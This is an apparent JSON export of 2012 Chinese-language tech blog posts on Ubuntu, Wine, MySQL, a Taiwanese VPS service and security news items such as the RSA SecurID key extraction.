    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 換完顯示卡，重開機就沒畫面了，原因是系統的顯卡驅動程式不夠新。\r\n\r\n解法是：\r\n<ul>\r\n\t<li>開機的時候先進 <a href=\"http://www.gnu.org/software/grub/\">GRUB</a> 畫面，進 recovery mode 生一個 root shell 出來。</li>\r\n\t<li>把網路弄通，對於有發 DHCP 的設備，用 <code>ifconfig eth0 up</code> + <code>dhclient</code> 應該夠用。</li>\r\n\t<li>裝 <a href=\"http://packages.ubuntu.com/precise/nvidia-current\">nvidia-current</a>。</li>\r\n</ul>\r\n重開機後就正常了...",
    "title": "Ubuntu 12.04 與 Nvidia GTX 550 Ti"
  },
  {
    "id": "2878",
    "body": "主要是參考「<a href=\"http://appdb.winehq.org/objectManager.php?sClass=version&amp;iId=25953\">WineHQ  - Diablo III 1.0.*</a>」這個網頁，另外找資料的時候有找到「<a href=\"http://www.ptt.cc/bbs/DIABLO/M.1337277314.A.4EE.html\">[心得] Diablo III on Ubuntu 12.04 x86 - 看板 DIABLO - 批踢踢實業坊</a>」這篇。\r\n\r\n我是使用沒有 non-patch wine 1.5.4 跑的 (透過「<a href=\"https://launchpad.net/~ubuntu-wine/+archive/ppa\">Latest official WineHQ releases : “Ubuntu Wine Team” team</a>」這邊提供的 ppa)，所以必須先用 Windows 裝完 <a href=\"http://www.diablo3.com/\">Diablo III</a> 後再 copy 到 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 裡面。\r\n\r\n登入問題用 <code>echo 0|sudo tee /proc/sys/kernel/yama/ptrace_scope</code> 解，但這個方法需要在每次重開機後再設定一次，在 <code>/etc/sysctl.conf</code> 內設定 <code>kernel.yama.ptrace_scope=0</code> 可以使得系統在每次重開機自動設定。\r\n\r\n特效全開還是跑得不錯...",
    "title": "在 Ubuntu (12.04) 上用 Wine 1.5.4 跑 Diablo III"
  },
  {
    "id": "2880",
    "body": "這幾天用 <a href=\"http://www.winehq.org/\">Wine</a> 跑 <a href=\"http://www.diablo3.com/\">Diablo III</a>，有時聲音會狂 lag，關掉 Diablo III 後重跑還是一樣，要重開機才會恢復...\r\n\r\n仔細看 Wine 丟出來的訊息，發現訊息內有給這個網頁：「<a href=\"http://ubuntuforums.org/showthread.php?t=1960599\">winepulse in ubuntu wine ppa</a>」，其中提到 1.5.3 以後的 ppa 版本 (寫這篇文章的時候是 1.5.4) 可以在啟動 Wine 時加上環境變數 <code>WINENOPULSE=1</code> 解決聲音的問題。\r\n\r\n目前測起來是正常了，不知道還會不會有其他問題要解...",
    "title": "Wine 玩 Diablo III 音樂會頓的問題..."
  },
  {
    "id": "2883",
    "body": "<strong>2012-06-01 Update：請參考「<a href=\"http://blog.gslin.org/archives/2012/06/01/2887/micloud%EF%BC%8C%E7%B9%BC%E7%BA%8C%E6%B8%AC%E8%A9%A6/\">MiCloud，繼續測試...</a>」這篇。</strong>\r\n\r\n昨天因為工作關係跟<a href=\"http://www.mitac.com.tw/\">神通</a>的人聊到 <a href=\"https://micloud.tw/\">MiCloud</a>，台灣少數幾個 IaaS 項目...\r\n\r\n與國內其他 IaaS (或是說「VPS」) 比較不同的地方在於 MiCloud 與 <a href=\"http://www.joyent.com/\">Joyent</a> 合作，不過我不想跑 SmartOS，所以這點沒有太大差異。另外是線上就可以直接申請信用卡付費，以小時計算，不需要傳真開機器... (這點 <a href=\"http://hicloud.hinet.net/\">HiCloud</a> 實在是...)\r\n\r\n先把結論列出來：\r\n<ul>\r\n\t<li>整體輸給 <a href=\"http://www.linode.com/\">Linode</a> 東京機房不少，除了國內的報帳需求外，沒有使用的誘因。</li>\r\n</ul>\r\n網站的部份：\r\n<ul>\r\n\t<li><a href=\"https://micloud.tw/\">micloud.tw</a> 本身有 HTTPS (有買 SSL Certificate)，但卻 redirect 到 <a href=\"http://portal.micloud.tw/\">portal.micloud.tw</a>... (要輸入帳號密碼的地方反而沒有 SSL hmmm...)</li>\r\n\t<li>網站動線上卡卡的，常常會遇到「要按某個功能但找不到地方」，常常需要切到別的頁面才能找到...</li>\r\n</ul>\r\n再來開機器的時候遇到的幾個問題：\r\n<ul>\r\n\t<li>最小台的機器 (1GB) 有點大台，據說有在規劃比較小台的機器。</li>\r\n\t<li>支援的 image 種類有點少，以 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 目前只有 10.04 LTS，據說也是有規劃比較新的版本。實際升級發現可以升級到 12.04 LTS (我是 10.10、11.04、11.10、12.04 一路升上來)，所以這不是大問題，但能預先提供會比使用者自己升級方便許多。</li>\r\n\t<li>開機器的頁面上說不需要設定 hostname (系統會幫你設定)，但實際上不設定會出現一個看不懂的錯誤訊息... 我是著自己輸入 hostname 也是一樣，直到回家後我突然發現不能輸入 dash 後才開成功！XDDD <strong>(2012-06-01 Update：這條的兩個問題都已經解決)</strong></li>\r\n</ul>\r\n開完機器後遇到的問題：\r\n<ul>\r\n\t<li>Ubuntu 10.04 LTS 預設的 apt server 是 us.archive.ubuntu.com，這應該要設為 tw.archive.ubuntu.com，或是 jp.archive.ubuntu.com (因為台灣 Ubuntu mirror 一向都不怎麼穩定)。</li>\r\n\t<li>Ubuntu 10.04 LTS 裝的是 desktop 版本而非 server 版本？我看到整包 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 在裡面... <strong>(2012-06-01 Update：現在 dpkg -l 看不到 xorg 與 firefox 了)</strong></li>\r\n\t<li>在管理界面上看不到目前的流量使用量？</li>\r\n</ul>\r\n然後是網路：\r\n<ul>\r\n\t<li>依照 TWNIC 上的資料來看 (2012 年 4 月)，神通的機房對外主要有三組 100Mbps 的線路，分別是<a href=\"http://www.fetnet.net/\">遠傳</a>、<a href=\"http://www.ebix.net.tw/\">EBIX</a> 以及 AGC，不過 routing 上是以遠傳以及 EBIX 為主。</li>\r\n\t<li>對 <a href=\"http://www.hinet.net/\">HiNet</a> 去回不同路，從神通到 HiNet 是走遠傳，但回程走 EBIX。</li>\r\n\t<li>同上，不知道是哪一段有問題，會發現對 HiNet 的 latency 有時會超過 20ms，於是在台灣機房的優勢就不見了...</li>\r\n</ul>\r\n另外附上 openssl speed 的測試數據，這是升級到 12.04 LTS 後的數據：<a href=\"https://gist.github.com/2832383\">https://gist.github.com/2832383</a>，跟東京相比，單顆速度快一些，但東京的機器都有 4-core 可以用，所以...",
    "title": "MiCloud 測試..."
  },
  {
    "id": "2885",
    "body": "長野雅廣的「<a href=\"http://blog.nomadscafe.jp/2012/05/mysql-beginners-talk-lt.html\">MySQL Beginners Talk で LT してきました</a>」這篇 slide 對不熟悉 MySQL 的人講了兩個幾乎不會錯的觀念：\r\n<ul>\r\n\t<li>不要用 MyISAM，用 <a href=\"http://www.innodb.com/products/innodb_plugin\">InnoDB Plugin</a>。</li>\r\n\t<li>建立監控機制。</li>\r\n</ul>\r\n先討論後面這點，算是任何 database 都通用的法則：當你遇到效能問題時，監控機制可以提供毛線球的線頭，讓你知道慢在哪裡：什麼時間滿載 (於是可以猜測是 cron job 造成，或是對應 <a href=\"http://oss.oetiker.ch/mrtg/\">MRTG</a> 圖時知道是一般使用者造成的流量造成)，另外可以知道瓶頸是在 CPU (是單顆 CPU 滿載，還是整台機器都被吃滿)，I/O (是讀取滿載，還是寫入造成滿載)，或是網路。\r\n\r\n前面這點解釋成「如果你不知道你在做什麼，就用 InnoDB Plugin 吧」，對於初學者 (slide 的標題)，就簡化成「既然你是初學者，你就用 InnoDB Plugin 吧」。原因是：\r\n<ul>\r\n\t<li>InnoDB 是 crash safe engine，MyISAM 不是。</li>\r\n\t<li>常被用到的 table 其實會被 cache 在記憶體內，用 MyISAM 與 InnoDB 差異不大。</li>\r\n\t<li>最重要的一點是，InnoDB 有支援 transaction (MVCC)，在大量寫入時比起 MyISAM 比較不會產生 table lock。由於 InnoDB 支援 transaction，所以功能也比 MyISAM 多。</li>\r\n</ul>\r\nslide 不長，但這兩個重點還蠻重要的...",
    "title": "長野雅廣 (Masahiro Nagano) 的 MySQL Beginners Talk"
  },
  {
    "id": "2887",
    "body": "續「<a href=\"http://blog.gslin.org/archives/2012/05/30/2883/micloud-%E6%B8%AC%E8%A9%A6/\">MiCloud 測試...</a>」這篇，早上再測試一次發現 MiCloud 已經修正了一些問題...\r\n\r\n首先是開機器時 hostname 的問題已經解決了 (至少我不填，或是輸入 dash 都可以正確產生機器了，其他字元沒測試)，另外同樣是 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 10.04 LTS，這次進去沒看到 xorg 與 firefox 了。這兩個問題算是比較簡單的 (前面應該是改 input validator，後面應該是換 image)。\r\n\r\n另外補上 ping 168.95.1.1 的數字：\r\n<pre>--- 168.95.1.1 ping statistics ---\r\n1000 packets transmitted, 1000 received, 0% packet loss, time 100312ms\r\nrtt min/avg/max/mdev = 1.055/1.173/4.107/0.211 ms</pre>\r\n以及 ping 168.95.192.1 的數字：\r\n<pre>--- 168.95.192.1 ping statistics ---\r\n1000 packets transmitted, 1000 received, 0% packet loss, time 100457ms\r\nrtt min/avg/max/mdev = 1.180/6.190/115.787/18.101 ms, pipe 2</pre>\r\n以及 www.hinet.net (202.39.224.7) 的數字：\r\n<pre>--- 202.39.224.7 ping statistics ---\r\n1000 packets transmitted, 1000 received, 0% packet loss, time 100893ms\r\nrtt min/avg/max/mdev = 1.523/15.194/1609.699/119.968 ms, pipe 15</pre>\r\n以及 www.cht.com.tw (202.39.225.136) 的數字：\r\n<pre>--- 202.39.225.136 ping statistics ---\r\n1000 packets transmitted, 1000 received, 0% packet loss, time 100773ms\r\nrtt min/avg/max/mdev = 1.527/2.153/49.760/2.499 ms</pre>\r\n很明顯有對 168.95.1.1 做處理...\r\n\r\n另外有一點，最小台的機器提供 15GB 空間，不過系統的部份是 MiCloud 另外給 5GB 的空間放：\r\n<pre>Filesystem            Size  Used Avail Use% Mounted on\r\n/dev/vda1             5.0G  803M  3.9G  17% /\r\nnone                  496M  176K  496M   1% /dev\r\nnone                  500M     0  500M   0% /dev/shm\r\nnone                  500M   40K  500M   1% /var/run\r\nnone                  500M     0  500M   0% /var/lock\r\nnone                  500M     0  500M   0% /lib/init/rw\r\n/dev/vdb1              15G  166M   14G   2% /data</pre>\r\n其中 / 是 ext3，/data 是 ext4。\r\n\r\nDNS 則是用 Google 提供的服務：\r\n<pre>nameserver 8.8.8.8\r\nnameserver 8.8.4.4</pre>\r\n對外抓檔案的速度大約在 2.3MB/sec，包括 ubuntu.cs.nctu.edu.tw 與 ftp.speed.hinet.net。",
    "title": "MiCloud，繼續測試..."
  },
  {
    "id": "2888",
    "body": "由於 PDF Viewer 不是 free software (參考「<a href=\"http://askubuntu.com/questions/12584/why-doesnt-chromium-have-chrome-pdf-viewer-plugin\">Why doesn't Chromium have \"Chrome PDF Viewer\" plugin?</a>」)，所以 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下的 <a href=\"http://www.chromium.org/\">Chromium</a> 並沒有包進去，需要自己手動安裝。\r\n\r\n方法可以參考「<a href=\"http://www.chromestory.com/2010/11/how-to-enable-chromes-inbuilt-pdf-plugin-in-chromium-ubuntu/\">Chrome PDF Plugin in Ubuntu – How To Enable</a>」這篇：\r\n<ul>\r\n\t<li>先依照平台決定要抓 <a href=\"http://dl.google.com/linux/direct/google-chrome-unstable_current_i386.deb\">http://dl.google.com/linux/direct/google-chrome-unstable_current_i386.deb</a> 或是 <a href=\"http://dl.google.com/linux/direct/google-chrome-unstable_current_amd64.deb\">http://dl.google.com/linux/direct/google-chrome-unstable_current_amd64.deb</a>。</li>\r\n\t<li>用 <code>ar vx google-chrome-unstable_current_amd64.deb</code> (或是 <code>i386</code>) 解出 <code>data.tar.lzma</code>。</li>\r\n\t<li>再用 <code>tar --lzma -xvf data.tar.lzma</code> 把 <code>data.tar.lzma</code> 內的 <code>libpdf.so</code> 取出。</li>\r\n\t<li>把 <code>opt/google/chrome/libpdf.so</code> 複製到 <code>/usr/lib/chromium-browser/</code> 下，重開 Chromium 後就可以讀取了。</li>\r\n</ul>\r\n<a href=\"http://imgur.com/oYV6O\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oYV6O.webp\" /><img src=\"https://i.gslin.com/imgur/oYV6O.jpg\" alt=\"\" /></picture></a>",
    "title": "在 Ubuntu 的 Chrome (Chromium) 看 PDF 的方式"
  },
  {
    "id": "2890",
    "body": "這個週末把之前在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下不順的地方搞定... (之前是透過 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 開 Windows 管理)\r\n\r\n首先遇到的問題是 Ubuntu 下 <a href=\"http://www.chromium.org/\">Chromium</a> 沒辦法開 jnlp 檔案 (永遠都是 Save as 視窗)，所以用 <a href=\"http://www.mozilla.com/firefox\">Firefox</a> 開流程會比較順。\r\n\r\n再來是 Ubuntu 提供的 <a href=\"http://openjdk.java.net/\">OpenJDK</a> 無法讀取 <a href=\"http://www.megarac.com/\">MegaRAC</a> 給的 jnlp 檔案，需要裝 <a href=\"http://www.oracle.com/\">Oracle</a> 的版本，這部份可以透過「<a href=\"https://launchpad.net/oracle-jdk-installer\">Oracle Java (JDK) 7 Installer</a>」處理。\r\n\r\n<a href=\"http://imgur.com/Wf8Ql\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Wf8Ql.webp\" /><img src=\"https://i.gslin.com/imgur/Wf8Ql.jpg\" alt=\"http://imgur.com/Wf8Ql\" /></picture></a>",
    "title": "Ubuntu 下用 MegaRAC 界面管理機器..."
  },
  {
    "id": "2891",
    "body": "<a href=\"http://www.netdna.com/\">NetDNA</a> 跳下去做 <a href=\"http://twitter.github.com/bootstrap/\">Bootstrap 2</a> 的 CDN Hosting 了：「<a href=\"http://bootstrapcdn.com/\">Bootstrap CDN - Twitter's Bootstrap hosted on NetDNA's Tier-1 Content Delivery Network</a>」。\r\n\r\n這項服務不包含亞洲區的 CDN PoP，從台灣 (<a href=\"http://www.hinet.net/\">HiNet</a>) 或是日本 (<a href=\"http://www.linode.com/\">Linode</a>) 過去都是美西的點，不過至少有 CDN Hotlink 可以用了...",
    "title": "Bootstrap 2 的 CDN Hotlink"
  },
  {
    "id": "2893",
    "body": "今天看到 t1.micro 也可以開 MySQL RDS 了：「<a href=\"http://aws.typepad.com/aws/2012/06/amazon-rds-mysql-now-starting-at-19-month.html\">Amazon RDS MySQL Now Starting at Just $19 a Month</a>」。\r\n\r\n拿來堆資料應該還不賴？只要 24 小時可以塞完一天的份，而且不會影響到 t1.micro 的 EBS I/O 就可以用？:p",
    "title": "AWS 可以開超小台 (t1.micro) 的 MySQL RDS 了..."
  },
  {
    "id": "2895",
    "body": "<a href=\"http://www.pingdom.com/\">Pingdom</a> 這篇「<a href=\"http://royal.pingdom.com/2012/06/20/jquery-numbers/\">The Web loves jQuery, and here are the numbers to prove it</a>」提到了 jQuery 的使用率，其中這張圖不知道是發生什麼事情 XD\r\n\r\n<img src=\"https://i.gslin.com/imgur/cVRYq.jpg\" alt=\"\" />\r\n\r\n左邊與中間的 10k 與 1k 我是不知道怎樣，但右邊 Top 100 站台是 24.7% 是怎麼算的...？XD",
    "title": "大站台 jQuery 的使用率..."
  },
  {
    "id": "2897",
    "body": "在「<a href=\"http://arstechnica.com/security/2012/06/securid-crypto-attack-steals-keys/\">Scientists crack RSA SecurID 800 tokens, steal cryptographic keys</a>」這篇報導裡提到了已經有辦法從 <a href=\"http://australia.emc.com/security/rsa-securid/rsa-securid-hardware-authenticators.htm\">RSA SecurID 800</a> 內取出 secret key，方法將會在 <a href=\"http://www.iacr.org/conferences/crypto2012/\">CRYPTO 2012</a> 上發表...\r\n\r\n<img src=\"https://i.gslin.com/imgur/qBFFO.gif\" alt=\"RSA SecurID 800\" />\r\n\r\n(取自「<a href=\"http://www.tokenguard.com/RSA-SecurID-SID800.asp\">RSA SecurID SID800 Authenticator Token</a>」)\r\n\r\n如果攻擊者可以碰觸到實體 token 並取出 secret key，他就可以準備一顆新的 token (HSM，<a href=\"https://en.wikipedia.org/wiki/Hardware_security_module\">Hardware security module</a>) 把取出來的 secret key 灌進去，而原來的使用者不太容易會發現...\r\n\r\n所以硬體式的 OTP 系統除了提供一次性密碼外，另外需要有能力阻擋從硬體取出 secret key 的能力。這次有能力在 13 分鐘就取出來，表示有不少辛苦事情要善後了...",
    "title": "RSA SecurID 800 被破..."
  },
  {
    "id": "2898",
    "body": "早上又回頭跑去寫 <a href=\"http://uva.onlinejudge.org/\">UVa Online Judge</a> 的題目，這應該是參加高中生與大學生在寫的？好久沒寫了...\r\n\r\n這東西除了訓練資料結構與演算法外，另外還可以訓練「鑽牛角尖讀 spec」的能力：在題目裡沒保證的，就一定會炸給你看...\r\n\r\n舉例來說，第一題的「<a href=\"http://uva.onlinejudge.org/index.php?option=com_onlinejudge&amp;Itemid=8&amp;category=3&amp;page=show_problem&amp;problem=36\">100 - The 3n + 1 problem</a>」上面只說要找 i 與 j 之間的範圍的最大值。於是很多人就寫了：\r\n<blockquote><code>for (t = i; t &lt;= j; t++) { ... }</code></blockquote>\r\n文件上有提到保證 <code>i &lt;= j</code> 嗎？沒有。\r\n\r\n多練習這些題目後，除了資料結構與演算法外，對於實際工作的文件就會很自然而然避免過度解讀。",
    "title": "寫 Online Judge 的題目..."
  },
  {
    "id": "2899",
    "body": "前幾天用 freebsd-update 把系統升到 9.0，結果 <code>libutil.so.8</code> 不見了... 由於 <a href=\"http://www.sudo.ws/\">sudo</a> 用到 libutil.so.8，加上我又忘記 root 密碼，結果就只好找時間約人進機房處理了...\r\n\r\n除了改密碼外，先裝 <a href=\"http://www.freshports.org/misc/compat8x/\">compat8x</a> 把服務跑起來...",
    "title": "機器總算回來了..."
  },
  {
    "id": "2901",
    "body": "<a href=\"https://chrome.google.com/webstore/detail/lkllliihmodekgjcioihaaodkbpeleph\">fPrivacy</a> 的說明「Makes Facebook permissions optional.」把功能說明的很清楚，就是在授權 <a href=\"https://www.facebook.com/\">Facebook</a> 權限的時候，把應用程式可用權限調低。\r\n\r\n以 <a href=\"http://www.plurk.com/\">Plurk</a> 為例，當 Plurk 需要 Facebook 權限時，提出需要這些權限：\r\n\r\n<a href=\"https://i.gslin.com/imgur/yBkxz.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yBkxz.webp\" /><img src=\"https://i.gslin.com/imgur/yBkxz.jpg\" alt=\"\" /></picture></a>\r\n\r\n你可以發現上方多了一條東西。這時候你可以把 publish_actions 勾勾拿掉 (看這個意思應該是「以我的名義貼文」的權限)，按下 Update 按鈕後：\r\n\r\n<a href=\"https://i.gslin.com/imgur/dk3vv.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dk3vv.webp\" /><img src=\"https://i.gslin.com/imgur/dk3vv.jpg\" alt=\"\" /></picture></a>\r\n\r\n按下 Update 按鈕後，就把需求變少了。甚至你可以再拔掉 email 這組，再按 Update 按鈕：\r\n\r\n<a href=\"https://i.gslin.com/imgur/C53yK.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/C53yK.webp\" /><img src=\"https://i.gslin.com/imgur/C53yK.jpg\" alt=\"\" /></picture></a>\r\n\r\n就什麼權限都不給他了，這拿來對付過度要求權限的應用程式還蠻好用的...",
    "title": "fPrivacy：在 Google Chrome 下調整 Facebook 應用程式可用權限"
  },
  {
    "id": "2902",
    "body": "<a href=\"http://dev.mysql.com/doc/refman/5.5/en/\">MySQL 5.5</a> 之前的版本只支援 <a href=\"http://unicode.org/uni2book/u2.html\">Unicode 3.0</a> (1999 年 9 月發表)，但自從 MySQL 5.5 版開始支援 <a href=\"http://unicode.org/versions/Unicode5.0.0/\">Unicode 5.0</a> (2006 年 7 月發表)，對於常用的 utf8 encoding 就有一些變化要注意...\r\n\r\n參考維基百科上對 <a href=\"http://unicode.org/\">Unicode</a> 版本的說明：「<a href=\"https://en.wikipedia.org/wiki/Unicode#Versions\">Unicode#Versions</a>」，以及 MySQL 5.5 的文件：「<a href=\"http://dev.mysql.com/doc/refman/5.5/en/charset-unicode.html\">MySQL ::   MySQL 5.5 Reference Manual :: 10.1.10 Unicode Support</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/UTF-8\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QezVp.webp\" /><img src=\"https://i.gslin.com/imgur/QezVp.jpg\" alt=\"\" /></picture></a>\r\n\r\n在 MySQL 5.5 之前，UTF-8 的設計最多吃 3bytes，因為 1byte 有 128 種組合 (7bits)，2bytes 有 2048 種組合 (11bits)，3bytes 有 65536 種組合 (16bits)，共 67712 個空間可以用，但 Unicode 3.0 只用掉 49259 個。\r\n\r\n而從 MySQL 5.5 開始支援的 Unicode 5.0 需要 99089 個空間，所以需要用到 4bytes 的版本，也就是增加 4bytes 的 2097152 種組合 (21bits)，共 2164864 個空間。\r\n\r\n但為了相容性，MySQL 5.5 的 utf8 encoding 還是使用 Unicode 3.0 版本。只有當特別指定 utf8mb4 encoding 時才會用到 Unicode 5.0 版本。使用 utf8mb4 encoding 時，要注意 client 端也要支援，不然會讀不到東西...",
    "title": "MySQL 的 Unicode 支援程度"
  },
  {
    "id": "2903",
    "body": "有陣子的新聞了：「<a href=\"http://lists.freebsd.org/pipermail/freebsd-ports-announce/2012-June/000013.html\">[FreeBSD-Ports-Announce] [HEADS UP] Ports tree migration to Subversion</a>」。\r\n\r\n預定是 7/14 要轉換，轉換完成後仍然會有程式把 <a href=\"http://subversion.apache.org/\">Subversion</a> repository 的變更同步到 CVS 上，所以本來用 <a href=\"https://bitbucket.org/mux/csup\">csup</a> 與 <a href=\"http://www.cvsup.org/\">cvsup</a> 的人仍然可以取得更新。\r\n\r\n當初選 Subversion 的原因是什麼啊？又是 GPL license issue 嗎？",
    "title": "FreeBSD ports 將從 CVS 轉移到 Subversion 上..."
  },
  {
    "id": "2904",
    "body": "剛剛看到『<a href=\"http://gnn.gamer.com.tw/7/68177.html\">文化部宣布「數位出版工作坊」正式啟動 將協助強化國內數位出版</a>』這篇報導，發現文建會在 5/20 升格成「<a href=\"http://www.cca.gov.tw/\">文化部</a>」了...\r\n\r\n<a href=\"http://imgur.com/N4hvN\"><img src=\"https://i.gslin.com/imgur/N4hvN.jpg\" alt=\"\" /></a>\r\n\r\n不知道為什麼，直覺反應是《<a href=\"https://zh.wikipedia.org/wiki/%E4%B8%80%E4%B9%9D%E5%85%AB%E5%9B%9B\">一九八四</a>》裡面的「<a href=\"https://zh.wikipedia.org/wiki/%E7%9C%9F%E7%90%86%E9%83%A8\">真理部</a>」...",
    "title": "「文化部」讓我想到「真理部」..."
  },
  {
    "id": "2906",
    "body": "剛剛翻了一下，有裝 <a href=\"http://wordpress.com/\">WordPress.com</a> 提供的 <a href=\"http://wordpress.org/extend/plugins/jetpack/\">Jetpack</a> 的人好像都可以用？\r\n\r\n<blockquote><pre>&dollar;latex x^n + y^n = z^n, \\forall n > 2&dollar;</pre></blockquote>\r\n\r\n對應：\r\n\r\n<blockquote>$latex x^n + y^n = z^n, \\forall n > 2$</blockquote>",
    "title": "在 WordPress 使用 LaTeX 語法..."
  },
  {
    "id": "2907",
    "body": "這是 <a href=\"http://gs.statcounter.com/\">StatCounter</a> 的統計數字，IE8 有 13.28%，IE7 有 1.33%，約 14.61%：\r\n\r\n<a href=\"http://imgur.com/5l9Hp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5l9Hp.webp\" /><img src=\"https://i.gslin.com/imgur/5l9Hp.jpg\" alt=\"\" /></picture></a>\r\n\r\n現在是 2012 年年中，在 IE7 + IE8 還有 14+% 的數字的情況下決定要在 2013 年年初推出不支援 IE{6,7,8} 的 <a href=\"http://jquery.com/\">jQuery</a> 2.0，這在 <a href=\"http://ejohn.org/\">John Resig</a> 還「當政」的時代大概是不可思議的事情：「<a href=\"http://blog.jquery.com/2012/06/28/jquery-core-version-1-9-and-beyond/\">JQUERY CORE: VERSION 1.9 AND BEYOND</a>」、「<a href=\"http://blog.jquery.com/2012/07/01/jquery-1-9-and-2-0-tldr-edition/\">JQUERY 1.9 AND 2.0 — TL;DR EDITION</a>」。\r\n\r\n如果照著這個步調走，要不是 jQuery fork 崛起，不然就是其他的 Framework 幹掉 jQuery...",
    "title": "jQuery 2.0 將放棄 IE{6,7,8} 的事情..."
  },
  {
    "id": "2908",
    "body": "從 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 上看到了「<a href=\"http://1337day.com/exploits/18984\">Intel Core2Duo cpu cache controller bug PoC</a>」，透過 JavaScript 遠端攻擊 Intel Core2Duo，直接突破所有 application &amp; OS 保護機制... exploit 說明裡提到測過 <a href=\"http://ark.intel.com/products/33915/Intel-Core2-Duo-Processor-T5750-(2M-Cache-2_00-GHz-667-MHz-FSB)\">Intel Core 2 Duo T5750</a> 與 <a href=\"http://ark.intel.com/products/36331/Intel-Atom-Processor-N270-(512K-Cache-1_60-GHz-533-MHz-FSB)\">Intel Atom N270</a> 這兩顆 CPU。\r\n\r\n另外，從 exploit 給的資料中，可以找到 <a href=\"http://www.linkedin.com/in/nezumi\">Kris Kaspersky</a> 在 <a href=\"http://www.hitb.org/\">HITB</a> 2008 給出來的 PDF：「<a href=\"http://www.cs.dartmouth.edu/~sergey/cs258/2010/D2T1%20-%20Kris%20Kaspersky%20-%20Remote%20Code%20Execution%20Through%20Intel%20CPU%20Bugs.pdf\">Remote Code Execution through Intel CPU Bugs</a>」。\r\n\r\n居然用 JavaScript 戳...\r\n\r\n<strong>Update</strong>：很像是假的：「<a href=\"http://news.ycombinator.com/item?id=4246338\">http://news.ycombinator.com/item?id=4246338</a>」。",
    "title": "用 JavaScript 遠端攻陷 Intel Core2Duo..."
  },
  {
    "id": "2910",
    "body": "前陣子看到的「<a href=\"http://www.phptherightway.com/\">PHP The Right Way.</a>」網站。網站的開頭就先提到這並不是說明 <a href=\"http://www.php.net/\">PHP</a> 怎麼寫才是對的，而是告訴你許多前人經驗所得到的建議：(血淚史 XD)\r\n<blockquote><h3>Disclaimer</h3>\r\n\r\nThere is no canonical way to use PHP. However, this website is a humble display of best practices, available options, and good information. It aims to introduce new PHP developers and to rethink seasoned pros with fresh ideas.</blockquote>\r\n這個網站是導讀性質，告訴你現在 PHP 大約有哪些新東西需要看。\r\n\r\n最近比較常提出來的幾個是：\r\n<ul>\r\n\t<li><a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md\">PSR-0</a> 規範 (還有 PSR-1 與 PSR-2)。</li>\r\n\t<li>很多新的 <a href=\"http://php.net/manual/en/book.spl.php\">SPL</a> 出現，如果可以用就應該儘量用現成的，不需要自己造輪子。</li>\r\n\t<li>針對資料庫的操作儘量用 <a href=\"http://php.net/manual/en/book.pdo.php\">PDO</a>，不要用 <code>mysql_*</code>。</li>\r\n</ul>",
    "title": "PHP 康莊大道"
  },
  {
    "id": "2911",
    "body": "在 <a href=\"http://dev.mysql.com/\">MySQL</a> 中，如果你有 <code>VARCHAR(255)</code> 這種欄位，不要對直接對這個欄位下 INDEX。因為 key 會以最大長度 255 chars 為固定大小，而非動態決定 (latin1 的時候 1 char 是 1 byte，utf8 是 3 bytes，utf8mb4 是 4 bytes)，當資料有 1M row data 就直接吃掉 1MB/3MB/4MB 的空間。\r\n\r\n解決方法是利用「index 可以指定只取前面 n chars」這個功能來做，至於 n 要取多少就是要估算了... 在「<a href=\"http://www.xarg.org/2012/07/optimal-index-size-for-variable-text-in-mysql/\">Optimal index size for variable text in MySQL</a>」這篇把要怎麼做的過程寫得還蠻完整的。\r\n\r\n同樣的道理也可以用在固定寬度的 <code>BINARY(16)</code> 系列上。",
    "title": "對 MySQL 的 VARCHAR 欄位使用 INDEX 時可以增加效率的方法..."
  },
  {
    "id": "2913",
    "body": "2009 年在 <a href=\"http://www.schneier.com/blog/\">Schneier on Security</a> 上看到的文章，這幾天跟同事剛好有提到：「<a href=\"http://www.schneier.com/blog/archives/2009/10/reproducing_key.html\">Reproducing Keys from Photographs</a>」，相關的技術更早前就有，只是沒有這麼遠。\r\n\r\n在論文裡是在 195 feets 外 (約 60 公尺) 架設儀器拍攝鑰匙，利用這些資訊重製鑰匙資訊：\r\n\r\n<a href=\"http://imgur.com/hriTB\"><img src=\"https://i.gslin.com/imgur/hriTB.jpg\" alt=\"\" /></a>\r\n\r\n拍攝的設備是：\r\n<blockquote>Figure 7: Telephoto setup consisting of C5 spotting scope, Televue PowerMate 4X Tele-extender, and Cannon 40D Digital SLR. Entire system folds up into two small cases and weighs 16 pounds.</blockquote>",
    "title": "60 公尺外，拍照攝影就可以重製鑰匙..."
  },
  {
    "id": "2914",
    "body": "有時在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下會發現主機板內建網卡 r8169 eth0 link 不見：\r\n<blockquote><code>[275860.691179] ADDRCONF(NETDEV_UP): eth0: link is not ready</code></blockquote>\r\n之前都是整台重開處理，後來發現還有一些方法可以用：\r\n<blockquote><code>ifconfig eth0 down\r\nifconfig eth0 up\r\n/etc/init.d/networking restart\r\n/etc/init.d/network-manager restart</code></blockquote>\r\n另外在「<a href=\"http://forums.fedoraforum.org/showthread.php?t=250807\">Solution: r8169 \"link down\" bug</a>」這邊也有可以治標治的比較徹底的方法，之後遇到的時候也許可以試看看...",
    "title": "Ubuntu 下處理 r8169 有時會 interface down 的問題..."
  },
  {
    "id": "2915",
